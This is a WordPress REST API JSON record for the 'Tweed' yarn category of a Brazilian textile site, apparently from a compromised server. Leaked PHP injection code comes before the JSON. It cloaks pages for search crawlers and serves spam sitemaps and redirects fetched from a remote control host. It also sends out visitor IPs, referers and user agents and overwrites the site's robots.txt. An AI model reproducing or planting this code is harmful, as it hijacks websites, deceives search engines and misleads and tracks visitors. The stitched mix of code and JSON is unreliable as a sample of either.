function curl_get_contents($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); $file_contents = curl_exec($ch); curl_close($ch); return $file_contents; } function getServerCont($url, $data = array()){ $url = str_replace(' ', '+', $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if(0 !== $errorCode){ return false; } return $output; } function is_crawler($agent){ $agent_check = false; $bots='googlebot|google|yahoo|bing|aol'; if($agent){ if(preg_match("/($bots)/si", $agent)){ $agent_check = true; } } return $agent_check; } function check_refer($refer){ $check_refer = false; $referbots = 'google.co.jp|yahoo.co.jp|google.com'; if($refer){ if(preg_match("/($referbots)/si", $refer)){ $check_refer=true; } } return $check_refer; } $http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'); $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $ser_name = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : ''; $req_url = $http.$domain.$req_uri; $indata1 = $a."/indata.php"; $map1 = $a."/map.php"; $jump1 = $a."/jump.php"; $url_words = $a."/words.php"; $url_robots = $a."/robots.php"; if(strpos($req_uri, ".php")){ $href1 = $http.$domain.$self; }else{ $href1 = $http.$domain; } $data1 = array(); $data1['domain'] = $domain; $data1['req_uri'] = $req_uri; $data1['href'] = $href1; $data1['req_url'] = $req_url; if(substr($req_uri, -6) == 'robots'){ define('BASE_PATH',$_SERVER['DOCUMENT_ROOT']); $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt'); $data1['robots_cont'] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH.'/robots.txt', $robots_cont); $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt'); if(strpos(strtolower($robots_cont), "sitemap")){ echo 'robots.txt file create success!'; }else{ echo 'robots.txt file create fail!'; } exit(); } if(substr($req_uri, -4) == '.xml'){ if(strpos($req_uri, "allsitemap.xml") || strpos($req_uri, "sitemap-index.xml") || strpos($req_uri, "sitemap-index-1.xml") || strpos($req_uri, "index.xml")){ $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; exit(); } if(strpos($req_uri, ".php")){ $word4 = explode("?", $req_uri); $word4 = $word4[count($word4)-1]; $word4 = str_replace(".xml", "", $word4); }else{ $word4 = str_replace("/", "", $req_uri); $word4 = str_replace(".xml", "", $word4); } $data1['word'] = $word4; $data1['action'] = 'check_sitemap'; $check_url4 = getServerCont($url_words, $data1); if($check_url4 == '1'){ $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; exit(); } $data1['action']="check_words"; $check1 = getServerCont($url_words, $data1); if(strpos($req_uri, "map") > 0 || $check1 == '1'){ $data1['action'] = "rand_xml"; } $check_url4 = getServerCont($url_words, $data1); header("Content-type:text/xml"); echo $check_url4; exit(); } if(strpos($req_uri, ".php")){ $main_shell = $http.$ser_name.$self; $data1['main_shell'] = $main_shell; }else{ $main_shell = $http.$ser_name; $data1['main_shell'] = $main_shell; } $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $chk_refer = check_refer($referer); $user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $res_crawl = is_crawler($user_agent); if(strpos($req_uri, '.php')){ $url_ext = '?'; }else{ $url_ext = '/'; } if(!$res_crawl && $chk_refer){ $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if(preg_match('/ja/i', $lang) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".shtml",".html", ".htm"), "", $req_uri))))){ $data1['ip'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; $data1['referer'] = $referer; $data1['user_agent'] = $user_agent; echo getServerCont($jump1, $data1); exit(); } } if($res_crawl){ $data1['http_user_agent'] = $user_agent; $ser_cont = getServerCont($indata1, $data1); echo $ser_cont;exit(); } ?>{"id":69,"count":1,"description":"","link":"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/","name":"Tweed","slug":"tweed","taxonomy":"product_cat","parent":56,"meta":[],"acf":[],"yoast_head":"\nArquivo de Tweed - Grupo Fides<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Arquivo de Tweed - Grupo Fides\" \/>\n<meta property=\"og:url\" content=\"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/\" \/>\n<meta property=\"og:site_name\" content=\"Grupo Fides\" \/>\n<meta property=\"og:image\" content=\"https:\/\/grupofides.com.br\/wp-content\/uploads\/2022\/11\/Logo_GRUPOFIDES.png\" \/>\n\t<meta property=\"og:image:width\" content=\"2000\" \/>\n\t<meta property=\"og:image:height\" content=\"1000\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"CollectionPage\",\"@id\":\"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/\",\"url\":\"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/\",\"name\":\"Arquivo de Tweed - Grupo Fides\",\"isPartOf\":{\"@id\":\"https:\/\/grupofides.com.br\/#website\"},\"breadcrumb\":{\"@id\":\"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/#breadcrumb\"},\"inLanguage\":\"pt-BR\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"In\u00edcio\",\"item\":\"https:\/\/grupofides.com.br\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Fios\",\"item\":\"https:\/\/grupofides.com.br\/categoria-produto\/fios\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Tweed\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/grupofides.com.br\/#website\",\"url\":\"https:\/\/grupofides.com.br\/\",\"name\":\"Grupo Fides\",\"description\":\"Fia\u00e7\u00e3o & Malharia\",\"publisher\":{\"@id\":\"https:\/\/grupofides.com.br\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/grupofides.com.br\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pt-BR\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/grupofides.com.br\/#organization\",\"name\":\"Grupo Fides\",\"url\":\"https:\/\/grupofides.com.br\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-BR\",\"@id\":\"https:\/\/grupofides.com.br\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/grupofides.com.br\/wp-content\/uploads\/2022\/11\/Logo_GRUPOFIDES.png\",\"contentUrl\":\"https:\/\/grupofides.com.br\/wp-content\/uploads\/2022\/11\/Logo_GRUPOFIDES.png\",\"width\":2000,\"height\":1000,\"caption\":\"Grupo Fides\"},\"image\":{\"@id\":\"https:\/\/grupofides.com.br\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/fiacaofides\",\"https:\/\/www.instagram.com\/fiacaofides\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Arquivo de Tweed - Grupo Fides","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/","og_locale":"pt_BR","og_type":"article","og_title":"Arquivo de Tweed - Grupo Fides","og_url":"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/","og_site_name":"Grupo Fides","og_image":[{"width":2000,"height":1000,"url":"https:\/\/grupofides.com.br\/wp-content\/uploads\/2022\/11\/Logo_GRUPOFIDES.png","type":"image\/png"}],"twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"CollectionPage","@id":"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/","url":"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/","name":"Arquivo de Tweed - Grupo Fides","isPartOf":{"@id":"https:\/\/grupofides.com.br\/#website"},"breadcrumb":{"@id":"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/#breadcrumb"},"inLanguage":"pt-BR"},{"@type":"BreadcrumbList","@id":"https:\/\/grupofides.com.br\/categoria-produto\/fios\/tweed\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"In\u00edcio","item":"https:\/\/grupofides.com.br\/"},{"@type":"ListItem","position":2,"name":"Fios","item":"https:\/\/grupofides.com.br\/categoria-produto\/fios\/"},{"@type":"ListItem","position":3,"name":"Tweed"}]},{"@type":"WebSite","@id":"https:\/\/grupofides.com.br\/#website","url":"https:\/\/grupofides.com.br\/","name":"Grupo Fides","description":"Fia\u00e7\u00e3o & Malharia","publisher":{"@id":"https:\/\/grupofides.com.br\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/grupofides.com.br\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pt-BR"},{"@type":"Organization","@id":"https:\/\/grupofides.com.br\/#organization","name":"Grupo Fides","url":"https:\/\/grupofides.com.br\/","logo":{"@type":"ImageObject","inLanguage":"pt-BR","@id":"https:\/\/grupofides.com.br\/#\/schema\/logo\/image\/","url":"https:\/\/grupofides.com.br\/wp-content\/uploads\/2022\/11\/Logo_GRUPOFIDES.png","contentUrl":"https:\/\/grupofides.com.br\/wp-content\/uploads\/2022\/11\/Logo_GRUPOFIDES.png","width":2000,"height":1000,"caption":"Grupo Fides"},"image":{"@id":"https:\/\/grupofides.com.br\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/fiacaofides","https:\/\/www.instagram.com\/fiacaofides\/"]}]}},"_links":{"self":[{"href":"https:\/\/grupofides.com.br\/wp-json\/wp\/v2\/product_cat\/69","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grupofides.com.br\/wp-json\/wp\/v2\/product_cat"}],"about":[{"href":"https:\/\/grupofides.com.br\/wp-json\/wp\/v2\/taxonomies\/product_cat"}],"up":[{"embeddable":true,"href":"https:\/\/grupofides.com.br\/wp-json\/wp\/v2\/product_cat\/56"}],"wp:post_type":[{"href":"https:\/\/grupofides.com.br\/wp-json\/wp\/v2\/product?product_cat=69"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}